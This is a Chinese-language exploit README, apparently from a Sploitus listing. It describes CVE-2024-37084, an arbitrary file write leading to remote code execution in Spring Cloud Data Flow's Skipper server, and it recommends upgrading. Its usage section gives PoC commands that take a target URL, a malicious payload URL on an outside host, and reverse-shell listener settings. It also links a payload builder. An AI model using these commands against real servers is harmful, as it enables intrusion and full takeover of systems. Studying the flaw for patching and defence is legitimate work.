Share
## https://sploitus.com/exploit?id=F08AB16A-F417-56BB-AD33-012839C1948C
# CVE-2024-37084 漏洞利用示例 (PoC)
CVE-2024-37084是Spring Cloud Data Flow中的一个高危漏洞,影响版本为2.11.0至2.11.3。该漏洞允许具有Skipper服务器API访问权限的攻击者通过精心构造的上传请求,将任意文件写入服务器文件系统的任意位置,进而可能导致远程代码执行,严重威胁服务器安全。
**漏洞原理:**
在受影响的Spring Cloud Data Flow版本中,Skipper服务器在处理文件上传时缺乏对路径的有效验证。攻击者可以利用这一缺陷,构造恶意的上传请求,将包含特定YAML文件的压缩包上传至服务器。由于服务器在处理这些YAML文件时,使用了不安全的反序列化机制,攻击者可以通过在YAML文件中嵌入恶意代码,导致服务器执行任意代码。
**危害:**
成功利用该漏洞的攻击者可以在受影响的服务器上执行任意代码,可能导致以下后果:
- **服务器被完全控制:** 攻击者可获取服务器的最高权限,执行任意操作。
- **数据泄露:** 攻击者可能访问或窃取服务器上的敏感数据。
- **服务中断:** 攻击者可能破坏服务器的正常运行,导致服务不可用。
**修复建议:**
官方已在2.11.4版本中修复了该漏洞。建议用户尽快将Spring Cloud Data Flow升级至2.11.4或更高版本,以消除安全隐患。
本项目包括对 CVE-2024-37084 的环境配置、漏洞分析、演示利用和漏洞利用代码(PoC)。
## 使用方法:
```bash
python CVE-2024-37084-Poc.py
```
用法示例:
```bash
python CVE-2024-37084-Poc.py --target_url <目标网址> --version <版本号> --payload_url <恶意载荷网址> [--listen_ip <监听IP>] [--listen_port <监听端口>]
```
这是针对 CVE-2024-37084 的远程代码执行漏洞的 PoC。
### 可选参数:
- `-h, --help`:显示帮助信息并退出
- `--target_url TARGET_URL`:目标服务器的 URL(例如:http://目标_IP:端口/api/package/upload)
- `--version VERSION`:包的版本号(例如:5.0.0)
- `--payload_url PAYLOAD_URL`:恶意载荷的 URL(例如:https://too.lewd.se/yaml-payload.jar)
- `--listen_ip LISTEN_IP`:监听反向 shell 的 IP 地址(默认值:0.0.0.0)
- `--listen_port LISTEN_PORT`:监听反向 shell 的端口号(默认值:4444)
## 配置监听端口以捕获反向 shell:
![示意图](https://github.com/user-attachments/assets/110fc123-259a-4b72-927d-ab2a55f225ec)
## 更多信息
- 我撰写的关于该漏洞的环境配置、分析和演示文档:[链接](https://kayiyan.gitbook.io/research/cve/cve-2024-37084-spring-cloud-remote-code-execution)
- 可用于构建恶意载荷的 yaml 文件工具:[链接](https://github.com/artsploit/yaml-payload)